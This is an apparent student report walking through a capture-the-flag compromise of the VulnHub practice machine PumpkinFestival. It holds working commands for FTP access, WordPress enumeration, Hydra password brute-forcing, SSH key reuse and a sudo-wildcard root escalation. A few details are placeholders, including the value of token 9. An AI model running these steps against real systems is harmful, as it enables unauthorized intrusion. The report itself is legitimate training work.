Ethical Hacking Major Project Report:

Compromising VulnHub Machine - Mission-Pumpkin v1.0: PumpkinFestival

- **Table of Contents :**

- **Confidentiality Statement :**

This report is prepared for educational purposes as part of the Ethical Hacking - Elewayte major project. It contains sensitive information about vulnerabilities and exploitation techniques for a virtual machine designed for practice. Distribution or use outside of this context is not recommended without proper authorization.

- **Disclaimer :**

is assessment is based on a simulated environment using a VulnHub virtual machine intended for ethical hacking training. All activities were performed in a controlled, virtual setting with no impact on real systems. The findings represent a snapshot of the machine's configuration and may not reflect real-world scenarios. It is recommended to perform such exercises only on authorized systems.

- **Project Overview :**
- This project involves compromising the Vulnhub machine Mission-Pumpkin v1.0: PumpkinFestival, a beginner-level CTF designed to teach ethical hacking techniques.
- The goal is to gain root access, collect 10 PumpkinTokens along the way, and access the PumpkinFestival_Ticket.
- The machine was downloaded from https://www.vulnhub.com/entry/mission-pumpkin-v10-pumpkinfestival,329/ and run in a virtual environment (e.g., VirtualBox or VMware).
- The assessment follows standard penetration testing phases: reconnaissance, scanning, enumeration, exploitation, and privilege escalation.

- **Scope :**
- In Scope: The virtual machine's IP address (discovered via netdiscover or similar, e.g., 192.168.1.101). All open ports and services.
- Exclusions: No denial-of-service attacks, social engineering, or modifications to the host system. The focus is on ethical, simulated compromise.
- Assumptions: The machine is configured in bridged or host-only network mode for accessibility from the attacker's Kali Linux VM.

- **Methodology :**

The methodology is based on industry standards like the OWASP Testing Guide and PTES (Penetration Testing Execution Standard).

Phases include:-

i. Reconnaissance: Gathering information about the target.
ii. Scanning: Using tools like Nmap for port and service discovery.
iii. Enumeration: Probing services for vulnerabilities and information leaks.
iv. Exploitation: Gaining initial access using identified weaknesses.
v. Privilege Escalation: Elevating privileges to root.
vi. Post-Exploitation: Collecting flags (PumpkinTokens) and the final ticket.

- **Tools used:**

- Nmap, Hydra, WPScan, DirBuster, FTP client, SSH, online decoders (e.g., CyberChef for base62), tar, bunzip2, etc.

- **Executive Summary** :

The Mission-Pumpkin v1.0: Pumpkin Festival machine was successfully compromised from scratch. Initial access was achieved via anonymous FTP and web enumeration, leading to user-level SSH access. Privilege escalation exploited a misconfigured sudoers entry allowing execution of arbitrary scripts as root.

All 10 Pumpkin Tokens were collected, and the PumpkinFestival_Ticket was accessed. Key weaknesses include weak passwords, information leaks in web sources, and improper sudo configurations. The machine highlights common misconfigurations in FTP, HTTP, WordPress, and Linux permissions.

- Key Strengths: Some directories were protected (e.g., forbidden access).
- Key Weaknesses: Reversible passwords, exposed tokens, and overly permissive sudo rules.

- **Vulnerability Summary:**

The following table summarizes the findings by severity (Critical, High, Moderate, Low, Informational). Severity is based on impact and exploitability.

Severity	Count	Description/Example
Critical	2	Privilege escalation via sudo misconfiguration; Root access gained.
High	3	Weak password brute-forcing (e.g., yrrah for harry); SSH private key exposure.
Moderate	4	Information disclosure (tokens in source code, FTP files); WordPress user enumeration.
Low	1	Anonymous FTP access with limited files.

- **Technical Findings and Techniques:**

Detailed step-by-step techniques used to compromise the machine, including commands where applicable. Assume target IP is 192.168.1.101 (adjust based on discovery).

1. Reconnaissance and Setup :

- Download the OVA file from the provided link and import into VirtualBox/VMware.

- Start the machine and discover IP using netdiscover -r 192.168.1.0/24or similar.

2. Scanning :

- Run Nmap: nmap -p- -A 192.168.1.101

- Open ports: 21 (FTP, vsftpd 3.0.2, anonymous allowed), 80 (HTTP, Apache 2.4.7), 6880 (SSH, OpenSSH).

3. Enumeration - FTP Anonymous Access (Token 1) :

- Connect: ftp 192.168.1.101 (username: anonymous, password: blank).
- Navigate: cd secret; get token.txt; bye.
- View: cat token.txt → Token 1: 2d6dbbae84d724409606eddd9dd71265.

4. Enumeration - HTTP Page Source (Token 2) :

- Browse http://192.168.1.101.
- View source (Ctrl+U): Token 2: 45d9ee7239bc6b0bb21d3f8e1c5faa52.
- Clues: Users "harry" and "jack"; keyword "Alohomora!".

5. Enumeration - Robots.txt and Track.txt :

- curl http://192.168.1.101/robots.txt → Disallows /wordpress/, /tokens/, /users/, /store/track.txt.
- curl http://192.168.1.101/store/track.txt → Username "admin", domain "pumpkins.local", tracking code 2542 8231 6783 486.

6. Enumeration - Domain Mapping and WordPress (Token 3) :

- Edit /etc/hosts: Add 192.168.1.101 pumpkins.local.

- Browse http://pumpkins.local → WordPress site, Token 3: 06c3eb12ef2389e2752335beccfb2080.

7. Enumeration - Directory Brute Force (Token 4) :

- Use gobuster or DirBuster on http://192.168.1.101/tokens/.

- Access http://192.168.1.101/tokens/token.txt → Token 4: 2c0e11d2200e2604587c331f02a7ebea.

8. Enumeration - WPScan and WordPress Credentials :

- wpscan --url http://pumpkins.local -e u → Users: admin, morse.

- Browse http://pumpkins.local/readme.html → Base62 string: K82v0SuvV1En350M0uxiXVRTmBrQIJQN78s.

- Decode using CyberChef (base62): "Ug0t!TrIpyJ" (password for morse and jack).

9. Exploitation - WordPress Login (Tokens 5-7) :

- Login to http://pumpkins.local/wp-admin as morse:Ug0t!TrIpyJ.
- In user bio or posts: Token 5: 7139e925fd43618653e51f820bc6201b.
- Login as admin:Alohomora! → In posts/settings: Token 6: f2e00edc353309b40e1aed18e18ab2c4.
- Use DirBuster on http://pumpkins.local → /license.txt: Token 7: 5ff346114d634a015ce413e1bc3d8d71.

10. Exploitation - FTP Brute Force for Harry (Token 8) :

- hydra -l harry -P /usr/share/wordlists/rockyou.txt -e nsr 192.168.1.101 ftp.
- Password: yrrah (harry reversed).
- Login FTP as harry:yrrah, get token.txt → Token 8: ba9fa9abf2be9373b7cbd9a6457f374e.

11.Exploitation - Nested File Extraction (Token 9 and SSH Key) :

- In harry's FTP: Navigate Donotopen/NO/NOO/.../NOOOOOO, get data.txt.

- Extract layers: `tar -xvf data.txt` → data (bzip2), `bunzip2 data` → Repeat decompressions (gzip, zip, etc.) until "jack" file.

- Along the way, find Token 9 (e.g., in one of the extracted files): Specific value not detailed, but collected during process.

- `cat jack` → Hex data; decode hex to text: SSH private key for jack.

- Save as jackkey, `chmod 600 jackkey`, add blank line at end.

12.Exploitation - SSH as Jack (Token 10) :

- `ssh -i jackkey jack@192.168.1.101 -p 6880`.
- In /home/jack: `./token` (executable) → Token 10: 8d66ef0055b43d80c34917ec6c75f706.

13.Privilege Escalation :

- sudo -l → Can run any file starting with "alohomora" in /home/jack/pumpkins as root.

- mkdir /home/jack/pumpkins.

- Create alohomora.sh: echo '#!/bin/bash\nbash' > /home/jack/pumpkins/alohomora.sh

- chmod +x /home/jack/pumpkins/alohomora.sh.

- sudo /home/jack/pumpkins/alohomora.sh → Root shell.

14.Post-Exploitation - Access Ticket :

- As root: cd /root; cat PumpkinFestival_Ticket.

- Content: Congratulations message or flag.

- **Recommendations** :
- Strengthen passwords: Avoid reversible or weak ones (e.g., use passphrases >15 characters).
- Secure FTP: Disable anonymous access; use SFTP.
- Harden WordPress: Update plugins, hide readme.html, use strong credentials.
- Fix Sudoers: Restrict wildcards in sudo configurations.
- Regular Patching: Update services and monitor for information leaks.
- For learning: Practice on more VulnHub machines like the series' previous ones (PumpkinGarden, PumpkinRaising).

- **Appendix**:
- Collected PumpkinTokens and PumpkinFestival_Ticket

Token number	Value	Location
1.	2d6dbbae84d724409606eddd9dd71265	FTP /secret/token.txt
2.	45d9ee7239bc6b0bb21d3f8e1c5faa52	HTTP page source
3.	06c3eb12ef2389e2752335beccfb2080	http://pumpkins.local
4.	2c0e11d2200e2604587c331f02a7ebea	/tokens/token.txt
5.	7139e925fd43618653e51f820bc6201b	WordPress morse bio/posts
6.	f2e00edc353309b40e1aed18e18ab2c4	WordPress admin posts
7.	5ff346114d634a015ce413e1bc3d8d71	/license.txt
8.	ba9fa9abf2be9373b7cbd9a6457f374e	Harry's FTP token.txt
9.	[Value from extraction process]	Nested data.txt layer
10.	8d66ef0055b43d80c34917ec6c75f706	/home/jack/token executable

Thank you